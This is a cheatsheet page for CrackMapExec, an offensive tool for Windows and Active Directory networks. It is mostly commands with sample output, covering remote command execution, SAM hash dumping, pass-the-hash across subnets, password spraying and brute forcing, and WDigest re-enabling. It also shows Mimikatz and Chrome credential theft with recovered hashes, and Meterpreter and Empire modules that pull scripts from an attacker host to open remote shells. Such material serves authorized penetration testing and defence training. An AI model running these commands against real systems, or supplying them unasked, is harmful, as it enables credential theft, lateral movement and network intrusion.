CrackMapExec - Cheatsheet

CrackMapExec Ultimate Guide

For more information on how to use CrackMapExec Check out our ultimate Guide. For installation Check the GitHub Repo

Network Enumeration


Command Execution

crackmapexec -u Administrator -p '[email protected]' -x whoami

crackmapexec -u 'Administrator' -p 'PASS' -x 'net user Administrator /domain' --exec-method smbexec

You can also directly execute PowerShell commands using the -X flag:

#~ crackmapexec -u Administrator -p '[email protected]' -X '$PSVersionTable'
06-05-2016 14:36:06 CME WIN7BOX         [*] Windows 6.1 Build 7601 (name:WIN7BOX) (domain:LAB)
06-05-2016 14:36:06 CME WIN7BOX         [+] LAB\Administrator:[email protected] (Pwn3d!)
06-05-2016 14:36:10 CME WIN7BOX         [+] Executed command 
06-05-2016 14:36:10 CME WIN7BOX         Name                           Value
06-05-2016 14:36:10 CME WIN7BOX         ----                           -----
06-05-2016 14:36:10 CME WIN7BOX         CLRVersion                     2.0.50727.5420
06-05-2016 14:36:10 CME WIN7BOX         BuildVersion                   6.1.7601.17514
06-05-2016 14:36:10 CME WIN7BOX         PSVersion                      2.0
06-05-2016 14:36:10 CME WIN7BOX         WSManStackVersion              2.0
06-05-2016 14:36:10 CME WIN7BOX         PSCompatibleVersions           {1.0, 2.0}
06-05-2016 14:36:10 CME WIN7BOX         SerializationVersion 
06-05-2016 14:36:10 CME WIN7BOX         PSRemotingProtocolVersion      2.1
06-05-2016 14:36:10 [*] KTHXBYE!

Key Commands

Checked for logged in users

crackmapexec -u 'Administrator' -p 'PASS' --lusers

Using Local Auth

Allows you to use local accounts rather than domain creds.

crackmapexec -u 'Administrator' -p 'PASSWORD' --local-auth

Enumerating Shares

crackmapexec -u 'Administrator' -p 'PASSWORD' --local-auth --shares
CME WALLBOARD       [*] Windows 10.0 Build 14393 (name:WALLBOARD) (domain:SE)
CME WALLBOARD       [+] WALLBOARD\Administrator:
CME WALLBOARD       [+] Enumerating shares
CME WALLBOARD       SHARE           Permissions
CME WALLBOARD       -----           -----------
CME WALLBOARD       print$          READ
CME WALLBOARD       IPC$            READ
CME WALLBOARD       C$              NO ACCESS

WDigest Enable/Disable

This allows us to re-enable the WDigest provider and dump clear-text credentials from LSA memory

crackmapexec -u 'Administrator' -p 'PASS' --local-auth --wdigest enable
crackmapexec -u 'Administrator' -p 'PASS' --local-auth --wdigest disable

Password Policy

One useful query enumerates the domain’s password policy including complexity requirements

crackmapexec -u 'Administrator' -p 'PASS --pass-pol

RID Bruteforcing

you can use the rid-brute option to enumerate all AD objects including users and groups by guessing every resource identifier (RID), which is the ending set of digits to a security identifier (SID). 

crackmapexec -u 'Administrator' -p 'PASS --rid-brute

Top Credential Attacks

Dumping the local SAM hashes

crackmapexec -u 'Administrator' -p 'PASS' --local-auth --sam

Passing-the-Hash against subnet

Login to all subnet machines via smb with admin + hash. By using the –local-auth and a found local admin password this can be used to login to a whole subnets smb enabled machines with that local admin pass/hash.

cme smb -u administrator -H 'aad3b435b51404eeaa35b51404ee:5509de4fa6e8d9f4a61100e51' --local-auth

NULL Sessions

You can log in with a null session by using “ as the username and/or password


crackmapexec smb <target(s)> -u '' -p ''

Brute Forcing & Password Spraying

We can do this by pointing crackmapexec at the subnet and passing the creds:

SMB Login Example

crackmapexec -u ‘admin’ -p ‘[email protected]

Bruteforcing examples


crackmapexec <protocol> <target(s)> -u username1 -p password1 password2

crackmapexec <protocol> <target(s)> -u username1 username2 -p password1

crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_passwords

crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes


Listing Modules

crackmapexec -L
[*] empire_exec          Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
[*] shellinject          Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
[*] rundll32_exec        Executes a command using rundll32 and Windows's native javascript interpreter
[*] com_exec             Executes a command using a COM scriptlet to bypass whitelisting
[*] tokenrider           Allows for automatic token enumeration, impersonation and mass lateral spread using privileges instead of dumped credentials
[*] mimikatz             Executes PowerSploit's Invoke-Mimikatz.ps1 script
[*] tokens               Enumerates available tokens using Powersploit's Invoke-TokenManipulation
[*] peinject             Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script
[*] powerview            Wrapper for PowerView's functions
[*] mimikittenz          Executes Mimikittenz
[*] enum_chrome          Uses Powersploit's Invoke-Mimikatz.ps1 script to decrypt saved Chrome passwords
[*] metinject            Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
[*] eventvwr_bypass      Executes a command using the eventvwr.exe fileless UAC bypass

SMB Mimikatz module

sudo cme -u 'Administrator' -p 'PASS' --local-auth -M mimikatz
CME MEETINGROOM     [*] Windows 6.3 Build 9600 (name:MEETINGROOM) (domain:SE)
CME MEETINGROOM     [+] MEETINGROOM\Administrator:PASS (Pwn3d!)
MIMIKATZ MEETINGROOM     [+] Executed payload
MIMIKATZ                                       [*] Waiting on 1 host(s)
MIMIKATZ                   [*] - - "GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 -
MIMIKATZ                                       [*] Waiting on 1 host(s)
MIMIKATZ                   [*] - - "POST / HTTP/1.1" 200 -
MIMIKATZ                   [+] Found credentials in Mimikatz output (domain\username:password)
MIMIKATZ                   SE\Meeting:280778ddbb374ab9d2df719
MIMIKATZ                   SE\MEETINGROOM$:0bfa8060fc6c6d42d6ea124
MIMIKATZ                   SE\MEETINGROOM$:b245712b92126c953f203d6a
MIMIKATZ                   [*] Saved Mimikatz's output to Mimikatz-

Module options are specified with the -o flag. All options are specified in the form of KEY=value (msfvenom style)


cme <protocol> <target(s)> -u Administrator -p '[email protected]' -M mimikatz -o COMMAND='privilege::debug'

Modules - Enum_Chrome

sudo cme -u 'Administrator' -p 'PASS' --local-auth -M enum_chrome

Modules - Enum_AV

Another piece of useful information CrackMapExec can gather is what anti-virus software is in use.

sudo cme -u 'Administrator' -p 'PASS' --local-auth -m enum_avproducts

Getting Shells with CrackMapExec


Need to setup Http Reverse Handler in MsfConsole

sudo cme -u 'Administrator' -p 'PASS' --local-auth -M met_inject -o LHOST= LPORT=5656 
CME MEETINGROOM     [*] Windows 6.3 Build 9600 (name:MEETINGROOM) (domain:SE)
CME MEETINGROOM     [+] MEETINGROOM\Administrator:PASS (Pwn3d!)
METINJECT MEETINGROOM     [+] Executed payload
METINJECT                                      [*] Waiting on 1 host(s)
METINJECT                   [*] - - "GET /Invoke-Shellcode.ps1 HTTP/1.1" 200 -


Start RESTful API

 empire --rest --user empireadmin --pass [email protected]^

[*] Loading modules from: /usr/local/Cellar/empire/1.5_1/libexec/lib/modules/
 * Starting Empire RESTful API on port: 1337
 * RESTful API token: 3brqi3nypvjzqgd269km091onaqc1t6kz8l1fclk
 * Running on (Press CTRL+C to quit)

Launch empire listener to target

sudo cme -u Administrator -p PASSWORD --local-auth -M empire_exec -o LISTENER=CMETest
EMPIRE_EXEC                                    [+] Successfully generated launcher for listener 'CMETest'
CME MEETINGROOM     [*] Windows 6.3 Build 9600 (name:MEETINGROOM) (domain:SE)
EMPIRE_EXEC MEETINGROOM     [+] Executed Empire Launcher

Share Comments
comments powered by Disqus